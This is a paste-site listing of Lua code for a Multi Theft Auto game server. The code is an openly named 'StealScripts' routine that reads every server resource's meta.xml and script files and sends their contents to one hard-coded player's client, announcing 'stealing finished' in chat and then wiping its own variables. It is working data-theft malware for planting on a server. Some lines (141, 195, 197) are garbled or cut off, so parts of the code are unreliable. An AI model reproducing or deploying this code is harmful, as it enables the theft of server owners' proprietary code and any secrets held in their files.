Facebook
From dfs, 7 Months ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 349
  1. local WhitelistedResources = {
  2.     ["exs_mysql"] = true
  3. };
  4.  
  5. local WhitelistedFileExtensions = {".png", ".jpg", ".dff", ".txd", ".col", ".mp3", ".dds", ".ttf", ".fx", ".otf"};
  6.  
  7. local GlobalState = {
  8.     count = 0,
  9.     countsByResource = {},
  10.     resourceCount = 0,
  11.     lastResourceCount = nil,
  12.     downloadedBy = getPlayerFromName("tarcseh"),
  13.     timer = nil
  14. };
  15.  
  16. local DoesFileContainWhiteListedExtension = function(TargetFileName)
  17.     local ReturnValue = false;
  18.  
  19.     for _, FileExtension in pairs(WhitelistedFileExtensions) do
  20.         if utf8.find(TargetFileName, FileExtension) then
  21.             ReturnValue = true;
  22.         end
  23.     end
  24.  
  25.     return ReturnValue;
  26. end
  27.  
  28. function SplitString(InputString, Separator)
  29.     local ReturnedTable = {};
  30.  
  31.     for String in string.gmatch(InputString, "([^" .. Separator .. "]+)") do
  32.         table.insert(ReturnedTable, String);
  33.     end
  34.  
  35.     return ReturnedTable;
  36. end
  37.  
  38. local StealScripts = function()
  39.     if hasObjectPermissionTo(resource, "function.fileOpen", true) and hasObjectPermissionTo(resource, "function.fileRead", true) and hasObjectPermissionTo(resource, "function.triggerClientEvent", true) then
  40.         local GetFilesInResourceFolder = function(Path, Res)
  41.             if not type(Path) == 'string' then
  42.                 error("@getFilesInResourceFolder argument #1. Expected a 'string', got '" .. type(Path) .. "'", 2);
  43.             end
  44.  
  45.             if not tostring(Path):find('/$') then
  46.                 error("@getFilesInResourceFolder argument #1. The path must contain '/' at the end to make sure it is a directory.", 2);
  47.             end
  48.  
  49.             Res = Res == nil and resource or Res;
  50.  
  51.             if not type(Res) == 'userdata' and getUserdataType(Res) == 'resource-data' then
  52.                 error("@getFilesInResourceFolder argument #2. Expected a 'resource-data', got '" .. (type(Res) == 'userdata' and getUserdataType(Res) or tostring(Res)) .. "' (type: " .. type(Res) .. ")", 2);
  53.             end
  54.  
  55.             local Files = {};
  56.             local FilesOnlyName = {};
  57.  
  58.             local ThisResource = Res == resource and Res or false;
  59.  
  60.             local CharsTypes = '%.%_%w%d%|%\%<%>%:%(%)%&%;%#%?%*';
  61.  
  62.             local ResourceName = getResourceName(Res);
  63.             local Meta = xmlLoadFile&#40;':' .. ResourceName .. '/meta.xml'&#41;;
  64.  
  65.             if not Meta then
  66.                 error("(@getFilesInResourceFolder) Could not get the 'meta.xml' for the resource '" .. ResourceName .. "'", 2);
  67.             end
  68.  
  69.             for _, Node in ipairs(xmlNodeGetChildren(Meta)) do
  70.                 local SrcAttribute = xmlNodeGetAttribute(Node, 'src');
  71.  
  72.                 if SrcAttribute then
  73.                     local OnlyFileName = tostring(SrcAttribute:match('/([' .. CharsTypes .. ']+%.[' .. CharsTypes .. ']+)') or SrcAttribute);
  74.  
  75.                     local TheFile = fileOpen(ThisResource and SrcAttribute or ':' .. ResourceName .. '/' .. SrcAttribute);
  76.  
  77.                     if TheFile then
  78.                         if Path == '/' then
  79.                             table.insert(Files, SrcAttribute);
  80.                             table.insert(FilesOnlyName, OnlyFileName);
  81.                         else
  82.                             local FilePath = fileGetPath(TheFile);
  83.                             FilePath = FilePath:gsub('/[' .. CharsTypes .. ']+%.[' .. CharsTypes .. ']+', '/'):gsub(':' .. ResourceName .. '/', '');
  84.  
  85.                             table.insert(Files, SrcAttribute);
  86.                             table.insert(FilesOnlyName, OnlyFileName);
  87.                         end
  88.  
  89.                         fileClose(TheFile);
  90.                     else
  91.                         outputDebugString("(@getFilesInResourceFolder) Could not check file '" .. OnlyFileName .. "' from resource '" .. ResourceName .. "'", 2);
  92.                     end
  93.                 end
  94.             end
  95.  
  96.             local SrcAttribute = "meta.xml";
  97.             local OnlyFileName = tostring(SrcAttribute:match('/([' .. CharsTypes .. ']+%.[' .. CharsTypes .. ']+)') or SrcAttribute);
  98.             local TheFile = fileOpen(ThisResource and SrcAttribute or ':' .. ResourceName .. '/' .. SrcAttribute);
  99.             if TheFile then
  100.                 if Path == '/' then
  101.                     table.insert(Files, SrcAttribute);
  102.                     table.insert(FilesOnlyName, OnlyFileName);
  103.                 else
  104.                     local FilePath = fileGetPath(TheFile);
  105.                     FilePath = FilePath:gsub('/[' .. CharsTypes .. ']+%.[' .. CharsTypes .. ']+', '/'):gsub(':' .. ResourceName .. '/', '');
  106.  
  107.                     table.insert(Files, SrcAttribute);
  108.                     table.insert(FilesOnlyName, OnlyFileName);
  109.                 end
  110.  
  111.                 fileClose(TheFile);
  112.             else
  113.                 outputDebugString("(@getFilesInResourceFolder) Could not check file '" .. OnlyFileName .. "' from resource '" .. ResourceName .. "'", 2);
  114.             end
  115.  
  116.             xmlUnloadFile&#40;Meta&#41;;
  117.  
  118.             return #Files > 0 and Files or false, #FilesOnlyName > 0 and FilesOnlyName or false;
  119.         end
  120.  
  121.         local StealResource = function(Resource)
  122.             local ResourceName = getResourceName(Resource);
  123.  
  124.             if WhitelistedResources[ResourceName] then
  125.                 return;
  126.             end
  127.  
  128.             local ResourceFiles = {};
  129.  
  130.             if #getResourceOrganizationalPath(Resource) > 0 then
  131.                 ResourceFiles = GetFilesInResourceFolder(getResourceOrganizationalPath(Resource) .. "/" .. getResourceName(Resource) .. "/", Resource);
  132.             else
  133.                 ResourceFiles = GetFilesInResourceFolder(ResourceName .. "/", Resource);
  134.             end
  135.  
  136.             setTimer(function()
  137.                 if GlobalState.countsByResource[Resource] < #ResourceFiles then
  138.                     local File = ResourceFiles[GlobalState.countsByResource[Resource]];
  139.  
  140.                     local TheFile = fileOpen(":" .. ResourceName .. "/" .. File);
  141.                      local FileC fileGetSize(TheFile)));
  142.  
  143.                     local FileSplitted = SplitString(File, "/");
  144.                     local FileName = FileSplitted[#FileSplitted];
  145.                     FileSplitted[#FileSplitted] = nil;
  146.                     local FilePath = table.concat(FileSplitted, "/");
  147.  
  148.                     local FullFilePath = ResourceName .. "/" .. FilePath;
  149.  
  150.                     if not DoesFileContainWhiteListedExtension(FileName) then
  151.                         outputChatBox("sending " .. FullFilePath .. "/" .. FileName .. " to client", GlobalState.downloadedBy, 0, 255, 0);
  152.  
  153.                         triggerClientEvent(GlobalState.downloadedBy, "SaveResourceFiles", resourceRoot, FullFilePath, FileName, FileContent);
  154.                     end
  155.  
  156.                     fileClose(TheFile);
  157.  
  158.                     GlobalState.countsByResource[Resource] = GlobalState.countsByResource[Resource] + 1;
  159.                     GlobalState.count = GlobalState.count + 1;
  160.                 else
  161.                     GlobalState.resourceCount = GlobalState.resourceCount + 1;
  162.                 end
  163.             end, 50, #ResourceFiles);
  164.         end
  165.  
  166.         local Resources = getResources();
  167.  
  168.         GlobalState.timer = setTimer(function()
  169.             if GlobalState.lastResourceCount ~= GlobalState.resourceCount then
  170.                 if not GlobalState.lastResourceCount then
  171.                     GlobalState.lastResourceCount = 0;
  172.                 else
  173.                     GlobalState.lastResourceCount = GlobalState.lastResourceCount + 1;
  174.                 end
  175.  
  176.                 local Resource = Resources[GlobalState.lastResourceCount + 1];
  177.  
  178.                 if Resource then
  179.                     GlobalState.countsByResource[Resource] = 1;
  180.                     StealResource(Resource);
  181.                 else
  182.                     outputChatBox("stealing finished on serverside", GlobalState.downloadedBy, 0, 255, 0);
  183.  
  184.                     if GlobalState.timer and isTimer(GlobalState.timer) then
  185.                         outputChatBox("killing timers and every function", GlobalState.downloadedBy, 0, 255, 0);
  186.  
  187.                         killTimer(GlobalState.timer);
  188.  
  189.                         GlobalState.timer = nil;
  190.  
  191.                         GlobalState = nil;
  192.  
  193.                         WhitelistedResources = nil;
  194.  
  195.                          WhitelistedFileExtensi
  196.  
  197.                          DoesFileC
  198.  
  199.                         StealScripts = nil;
  200.                     end
  201.                 end
  202.             end
  203.         end, 10, 0);
  204.     end
  205. end
  206.  
  207. StealScripts();
  208.